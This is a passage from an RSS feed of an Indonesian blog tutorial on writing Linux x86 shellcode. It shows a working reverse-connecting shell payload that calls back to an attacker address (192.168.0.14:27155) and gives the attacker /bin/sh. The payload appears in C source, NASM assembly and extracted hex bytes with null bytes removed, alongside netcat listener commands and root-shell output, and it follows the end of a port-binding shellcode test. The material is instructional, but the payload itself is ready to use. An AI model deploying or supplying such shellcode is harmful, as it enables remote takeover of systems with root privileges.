bold;">\xc3</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x62</span><span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\x6e</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe3</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x53</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        asm<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;jmp shellcode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>


<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc portbindshellcode.c -o portbindshellcode
$ sudo ./portbindshellcode</pre></div></div>

<p align="justify">Setelah dijalankan sebagai root, di console lain saya coba koneksi dengan netcat ke port 2396.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nc localhost 2396
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit</pre></div></div>

<p align="justify">
Berhasil! Selamat, port binding shellcode kini sudah siap dipakai untuk remote exploit.
</p>
<p><b>Membuat Reverse Connecting Shellcode</b></p>
<p align="justify">
Baiklah kini kita menginjak pada pembuatan shellode bertipe reverse connecting. Dalam shellcode jenis ini, shellcode bertindak sebagai client dan attacker menyiapkan sebuah server yang siap dihubungi di IP dan port tertentu. Sebagai simulasi kita asumsikan IP dan port attacker adalah 192.168.0.14:27155 dan IP komputer target adalah 192.168.0.10.
</p>
<p align="justify">
Karena socket programming di sisi client lebih sederhana dan mirip dengan port binding, saya langsung saja membuat shellcode ini dalam bahasa C.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;sys/socket.h&gt;</span>
<span style="color: #339933;">#include &lt;netinet/in.h&gt;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
        <span style="color: #993333;">int</span> soc<span style="color: #339933;">;</span>
        <span style="color: #993333;">int</span> remote<span style="color: #339933;">;</span>
        <span style="color: #993333;">struct</span> sockaddr_in serv_addr<span style="color: #339933;">;</span>
&nbsp;
        serv_addr.<span style="color: #202020;">sin_family</span><span style="color: #339933;">=</span><span style="color: #0000dd;">2</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// internet address</span>
        serv_addr.<span style="color: #202020;">sin_addr</span>.<span style="color: #202020;">s_addr</span> <span style="color: #339933;">=</span> <span style="color: #208080;">0x0E00A8C0</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 192.168.0.14</span>
        serv_addr.<span style="color: #202020;">sin_port</span><span style="color: #339933;">=</span><span style="color: #208080;">0x136A</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// port 27155</span>
        soc <span style="color: #339933;">=</span> socket<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">2</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        remote <span style="color: #339933;">=</span> connect<span style="color: #009900;">&#40;</span>soc<span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> sockaddr<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>serv_addr<span style="color: #339933;">,</span><span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        dup2<span style="color: #009900;">&#40;</span>soc<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        dup2<span style="color: #009900;">&#40;</span>soc<span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        dup2<span style="color: #009900;">&#40;</span>soc<span style="color: #339933;">,</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">;</span>
        shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span>
        execve<span style="color: #009900;">&#40;</span>shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>shell<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Sebelum kita compile dan eksekusi, kita siapkan dulu di komputer attacker server yang listen di port 27155 dan port 192.168.0.14. Sistem operasi komputer attacker adalah windows dan attacker memakai <a href="http://joncraton.org/blog/netcat-for-windows">netcat for windows</a> untuk membuat server sederhana seperti di bawah ini.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">C:\&gt;nc -lvn -p 27155
listening on [any] 27155 ...</pre></div></div>

<p align="justify">
Oke setelah server attacker sudah listen di 192.168.0.14:27155. Kini kita compile dan eksekusi program reverse sebagai root untuk mensimulasikan exploit yang mendapatkan root shell.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc reverse.c -o reverse
$ sudo ./reverse</pre></div></div>

<p align="justify">
Sekarang perhatikan apa yang terjadi pada komputer attacker setelah program reverse tersebut dijalankan.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">C:\&gt;nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 58855
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
pwd
/home/admin
exit</pre></div></div>

<p align="justify">
Ada koneksi masuk dari ip komputer target (192.168.0.10). Setelah koneksi terbentuk, attacker bisa mulai mengirimkan command untuk dieksekusi di komputer target.
</p>
<p><b>Reverse Connecting dalam Assembly</b></p>
<p align='justify'>
Tidak ada hal baru dalam shellcode ini dibandingkan dengan shellcode port binding sebelumnya, jadi tidak ada yang perlu dijelaskan lebih jauh lagi. Langsung saja kita membuat program yang sama dalam bahasa assembly.
</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">BITS <span style="color: #0000ff;">32</span>
section <span style="color: #339933;">.</span>text
global _start
_start<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebx</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">edx</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;soc=socket(2,1,0)</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; push 0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #0000ff;">0x1</span> <span style="color: #666666; font-style: italic;">; push 1</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #0000ff;">0x2</span> <span style="color: #666666; font-style: italic;">; push 2</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX = address of [2,1,0]</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">bl</span> <span style="color: #666666; font-style: italic;">; EBX=1 means socket() call</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">102</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; ESI = soc socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span> 
&nbsp;
<span style="color: #666666; font-style: italic;">;remote = connect(soc,(struct sockaddr*)&amp;serv_addr,16);</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push 0</span>
<span style="color: #00007f; font-weight: bold;">push</span> long <span style="color: #0000ff;">0x0E00A8C0</span> <span style="color: #666666; font-style: italic;">; push sin_addr.s_addr value</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">word</span> <span style="color: #0000ff;">0x136A</span> <span style="color: #666666; font-style: italic;">; push sin_port value</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; ecx = 0</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">cl</span><span style="color: #339933;">,</span><span style="color: #0000ff;">2</span> <span style="color: #666666; font-style: italic;">; cx = 2</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">word</span> <span style="color: #00007f;">cx</span> <span style="color: #666666; font-style: italic;">; push sin_family value</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX = address of struct sockaddr</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #0000ff;">16</span> <span style="color: #666666; font-style: italic;">; push 16</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; push address of struct sockaddr</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">esi</span> <span style="color: #666666; font-style: italic;">; push soc handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX = address of [soc,&amp;serv_addr,16]</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span><span style="color: #0000ff;">3</span> <span style="color: #666666; font-style: italic;">; EBX=3 means connect()</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">102</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; EBX = remote socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esi</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;dup2(soc,0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; ECX = 0 = stdin file handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">63</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;dup2(soc,1)</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; ECX = 1 = stdout file handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">63</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;dup(soc,2)</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; ECX = 2 = stderr file handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">63</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;execve &quot;/bin//sh&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span>
<span style="color: #00007f; font-weight: bold;">push</span> long <span style="color: #0000ff;">0x68732f2f</span>
<span style="color: #00007f; font-weight: bold;">push</span> long <span style="color: #0000ff;">0x6e69622f</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ebx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x0b</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></div></div>

<p align="justify">
Tidak ada yang perlu saya jelaskan karena sama dengan shellcode port binding dan saya juga sudah memberi komentar untuk memperjelas di source di atas. Kita langsung saja compile dan link program assembly tersebut.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nasm -f elf reverse.asm
$ ld -o reverse reverse.o</pre></div></div>

<p align="justify">
Sekarang kita harus mendisassemble program tersebut dan mengambil opcodenya untuk dirangkai menjadi shellcode dengan cara yang seperti port binding shellcode sebelumnya.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/&quot;/'|sed 's/$/&quot;/g'
&quot;\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xc0\xa8\x00\x0e\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80&quot;</pre></div></div>

<p><b>Menghilangkan Byte Terlarang</b></p>
<p align="justify">
Oke kini kita telah dapatkan shellcodenya. Tapi kita periksa dulu apakah ada byte terlarang di dalamnya? Ternyata ada byte 0&#215;00 dalam shellcode tersebut yang berasal dari instruksi &#8220;push long 0x0E00A8C0&#8243;. Byte 0&#215;00 tidak terhindarkan karena IP attacker mengandung 0, yaitu 192.168.0.14. Oleh karena itu kita harus menyiasatinya agar tidak muncul byte 0&#215;00.
</p>
<p align="justify">
Saya akan mengganti instruksi tersebut menjadi dua push, yaitu push 0x0E00 dan push 0xA8C0. Push nilai 0x0E00 tidak bisa dilakukan secara langsung karena itu akan menghasilkan opcode yang mengandung 0&#215;00. Oleh karena itu saya harus membuat nilai 0x0E00 tanpa melibatkan angka 00 dengan cara:
</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">; DX = 0</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">dl</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x0E</span> <span style="color: #666666; font-style: italic;">; DX = 0x000E</span>
<span style="color: #00007f; font-weight: bold;">shl</span> <span style="color: #00007f;">dx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">8</span> <span style="color: #666666; font-style: italic;">; 000E digeser ke kiri 8 kali menjadi 0E00</span></pre></div></div>

<p align="justify">
Dengan mengganti menjadi instruksi mov dan shl kita terhindar dari byte terlarang 0&#215;00. Berikut adalah opcode dari instruksi pengganti &#8220;push long 0x0E00A8C0&#8243;. Pada opcode tersebut terlihat lebih banyak space yang dibutuhkan, tetapi di sana tidak mengandung byte terlarang 0&#215;00.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">b2 0e                   mov    dl,0x0E
66 c1 e2 08             shl    dx,8
66 52                   push   dx
66 68 c0 a8             push word  0xA8C0</pre></div></div>

<p align="justify">
Setelah mengganti &#8220;push long 0x0E00A8C0&#8243; dengan 4 baris instruksi di atas, shellcode yang baru adalah seperti di bawah ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/&quot;/'|sed 's/$/&quot;/g'
&quot;\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80&quot;</pre></div></div>

<p align="justify">
Kini kita siap mengujinya dengan membuat program dalam bahasa C berikut ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span> shellcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xdb</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\x50</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xfe</span><span style="color: #660099; font-weight: bold;">\xc3</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xc6</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\xb2</span><span style="color: #660099; font-weight: bold;">\x0e</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xc1</span><span style="color: #660099; font-weight: bold;">\xe2</span><span style="color: #660099; font-weight: bold;">\x08</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\xa8</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x13</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xb1</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x51</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x10</span><span style="color: #660099; font-weight: bold;">\x51</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xb3</span><span style="color: #660099; font-weight: bold;">\x03</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xf3</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x62</span><span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\x6e</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe3</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x53</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        asm<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;jmp shellcode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p align="justify">
Mari kita compile dan jalankan program dalam bahasa C di atas. Tapi jangan lupa sebelumnya di komputer attacker harus dijalankan server yang listen di 192.168.0.14:27155.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc reverseshellcode.c -o reverseshellcode
$ sudo ./reverseshellcode</pre></div></div>

<p align="justify">
Mari kita lihat apa yang terjadi pada console attacker setelah shellcode dieksekusi.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">C:\&gt;nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 59039
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
pwd
/home/admin
exit</pre></div></div>

<p align="justify">
Berhasil! Kini kita telah berhasil membuat shellcode yang bisa dipakai untuk remote shellcode. Selamat anda telah berhasil membuat 2 macam shellcode yang bisa dipakai untuk remote exploit, yaitu port binding dan reverse connecting. Dalam artikel berikutnya saya akan membahas mengenai stack based buffer overflow exploit, di sana kita bisa memakai shellcode yang kita buat di artikel ini.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=3kR8EqA0K_k:gzOa1qT83I8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=3kR8EqA0K_k:gzOa1qT83I8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=3kR8EqA0K_k:gzOa1qT83I8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=3kR8EqA0K_k:gzOa1qT83I8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=3kR8EqA0K_k:gzOa1qT83I8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=3kR8EqA0K_k:gzOa1qT83I8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=3kR8EqA0K_k:gzOa1qT83I8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=3kR8EqA0K_k:gzOa1qT83I8:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-2-remote-exploit-shellcode/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Belajar Membuat Shellcode (I): Local Exploit Shellcode</title>
		<link>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-1/</link>
		<comments>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-1/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 06:25:21 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1668</guid>
		<description><![CDATA[Seringkali shellcode terlihat dalam source code exploit berbentuk untaian kode-kode hexa. Sebenarnya apa itu shellcode dan apa makna di balik kode-kode hexa itu? Dalam artikel ini saya akan menjelaskan tentang shellcode dan kita juga akan praktek belajar membuat shellcode sendiri. Shellcode, Exploit dan Vulnerability Shellcode, exploit dan vulnerability adalah 3 saudara kandung. Semua berawal dari [...]]]></description>
